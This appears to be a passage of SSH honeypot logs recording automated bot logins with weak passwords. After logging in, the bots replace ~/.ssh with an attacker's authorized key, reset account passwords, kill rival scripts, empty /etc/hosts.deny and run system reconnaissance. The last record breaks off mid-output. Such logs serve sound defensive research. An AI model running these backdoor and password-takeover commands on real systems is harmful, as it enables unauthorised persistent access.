{"id":"6ac60bea-1c54-4953-bff1-ffb36751b9ad","name":"sterling-quiet-kakapo","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":37062,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":314,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:53:51.433201+00:00","ended_at":"2026-08-27T05:53:52.777417+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:53:20.767840+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:53:21.080655+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:53:25.588042+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:53:26.764175+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:53:27.078885+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Ble78zdkwOmr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:53:27.392451+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:53:27.705574+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:53:28.415265+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:53:29.784604+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:53:30.100694+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:53:31.949916+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:53:32.264988+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:53:33.177134+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:53:33.494277+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:53:35.537549+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:53:35.850743+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:53:37.951298+00:00","kind":"output","latency_ms":null,"data":" 05:53:37 up 7 days, 2:43, 0 user, load average: 0.21, 0.19, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:53:38.265047+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:53:39.401117+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:53:39.714990+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:53:40.848945+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:53:41.162077+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:53:43.000950+00:00","kind":"output","latency_ms":null,"data":"top - 05:53:43 up 7 days, 2:43, 0 user, load average: 0.21, 0.19, 0.15\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:53:43.315368+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:53:44.240097+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:53:44.557425+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:53:46.626311+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:53:46.941634+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:53:48.989112+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:53:49.303929+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:53:51.121293+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:53:51.433950+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:53:52.681390+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"java1234","method":"password","accepted":true,"tier":"other"}]} {"id":"e9ac3635-67ea-4f51-886a-09f9bbcbb435","name":"sooty-alpine-panther","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":37068,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:53:24.109034+00:00","ended_at":"2026-08-27T05:53:25.498264+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"716b86aa-7f42-4d88-8992-ba369b5a4403","name":"marine-gritty-skink","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":37066,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:53:21.806155+00:00","ended_at":"2026-08-27T05:53:23.474875+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"695e8133-86b5-4fef-a0c2-5d44f10b84ad","name":"arctic-jagged-zebu","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":58460,"username":"kkk","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":319,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:51:49.646369+00:00","ended_at":"2026-08-27T05:51:50.787856+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2244,"events":[{"seq":1,"at":"2026-08-27T05:51:21.342399+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:51:21.663659+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:51:25.672406+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:51:26.483616+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:51:26.803803+00:00","kind":"input","latency_ms":null,"data":"echo -e \"kkk\\nHbjbejTJsM4o\\nHbjbejTJsM4o\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:51:27.121498+00:00","kind":"input","latency_ms":null,"data":"echo \"kkk\\nHbjbejTJsM4o\\nHbjbejTJsM4o\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:51:27.439302+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:51:28.482722+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:51:28.515300+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:51:28.837134+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:51:28.890710+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:51:30.112511+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:51:30.432466+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T05:51:31.908668+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T05:51:32.239554+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T05:51:33.766478+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T05:51:34.083399+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T05:51:35.720550+00:00","kind":"output","latency_ms":null,"data":" 05:51:35 up 7 days, 2:41, 0 user, load average: 0.22, 0.24, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T05:51:36.039932+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T05:51:38.178655+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T05:51:38.496317+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T05:51:39.818629+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T05:51:40.138929+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T05:51:42.195099+00:00","kind":"output","latency_ms":null,"data":"top - 05:51:42 up 7 days, 2:41, 0 user, load average: 0.22, 0.24, 0.23\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T05:51:42.516044+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T05:51:44.355057+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T05:51:44.680537+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T05:51:46.624325+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T05:51:46.942868+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T05:51:48.026359+00:00","kind":"output","latency_ms":null,"data":"kkk"},{"seq":31,"at":"2026-08-27T05:51:48.344779+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T05:51:49.333213+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T05:51:49.655537+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T05:51:50.691551+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"kkk","password":"kkk","method":"password","accepted":true,"tier":"other"}]} {"id":"0abfa460-236e-4586-ba40-adbb80f08a17","name":"chilly-restless-lemur","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":58464,"username":"kkk","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:51:24.375599+00:00","ended_at":"2026-08-27T05:51:25.578474+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"kkk","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a261627d-2435-4727-9e07-b8f5a6bedd9a","name":"honest-polar-merlin","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":58462,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:51:22.381529+00:00","ended_at":"2026-08-27T05:51:23.739626+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"15c8f7d1-9c5f-4336-a6bc-91df637f559c","name":"civil-tawny-warbler","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":35266,"username":"xiaolin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":321,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:49:54.223925+00:00","ended_at":"2026-08-27T05:49:56.159164+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2252,"events":[{"seq":1,"at":"2026-08-27T05:49:23.901665+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:49:24.217462+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:49:28.772470+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:49:30.731908+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:49:31.050410+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nzE3eXPnJf6k8\\nzE3eXPnJf6k8\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:49:31.366881+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nzE3eXPnJf6k8\\nzE3eXPnJf6k8\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:49:31.688937+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:49:32.002953+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:49:33.170168+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:49:33.417779+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:49:33.491498+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T05:49:34.482878+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:49:34.815369+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T05:49:36.915946+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T05:49:37.237124+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T05:49:38.075317+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T05:49:38.395686+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T05:49:40.024360+00:00","kind":"output","latency_ms":null,"data":" 05:49:40 up 7 days, 2:39, 0 user, load average: 0.09, 0.1, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T05:49:40.345813+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T05:49:41.905614+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T05:49:42.228028+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T05:49:44.238236+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T05:49:44.570504+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T05:49:46.676043+00:00","kind":"output","latency_ms":null,"data":"top - 05:49:46 up 7 days, 2:39, 0 user, load average: 0.09, 0.1, 0.06\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T05:49:46.995906+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T05:49:48.505160+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T05:49:48.848368+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T05:49:49.736043+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T05:49:50.065339+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T05:49:51.956746+00:00","kind":"output","latency_ms":null,"data":"xiaolin"},{"seq":31,"at":"2026-08-27T05:49:52.275422+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T05:49:53.906237+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T05:49:54.224813+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T05:49:56.063421+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"xiaolin","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"34ed8350-94dd-475d-9e0f-1724fd8cebb4","name":"umber-seaward-ouzel","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":55848,"username":"xiaolin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:49:27.035595+00:00","ended_at":"2026-08-27T05:49:28.679017+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"xiaolin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e238ac97-ebef-4d8e-b173-45066bb8d84c","name":"languid-craggy-chamois","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":35276,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:49:24.929934+00:00","ended_at":"2026-08-27T05:49:26.385495+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e7767d99-2f3a-4355-b785-faacccfdda2b","name":"quartz-primal-wren","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":55226,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":313,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:47:51.436453+00:00","ended_at":"2026-08-27T05:47:53.469714+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:47:32.208401+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:47:32.519129+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:47:37.543236+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:47:38.123729+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:47:38.436861+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1s6mPUuULazx\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:47:38.754930+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:47:39.066920+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:47:39.567439+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:47:39.881286+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:47:40.667789+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:47:40.983043+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:47:42.314731+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:47:42.613838+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:47:42.897287+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:47:43.208970+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:47:44.015784+00:00","kind":"output","latency_ms":null,"data":" 05:47:44 up 7 days, 2:37, 0 user, load average: 0.16, 0.15, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:47:44.339310+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:47:44.789469+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:47:45.102458+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:47:45.777038+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:47:46.088520+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:47:46.598373+00:00","kind":"output","latency_ms":null,"data":"top - 05:47:46 up 7 days, 2:37, 0 user, load average: 0.16, 0.15, 0.17\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 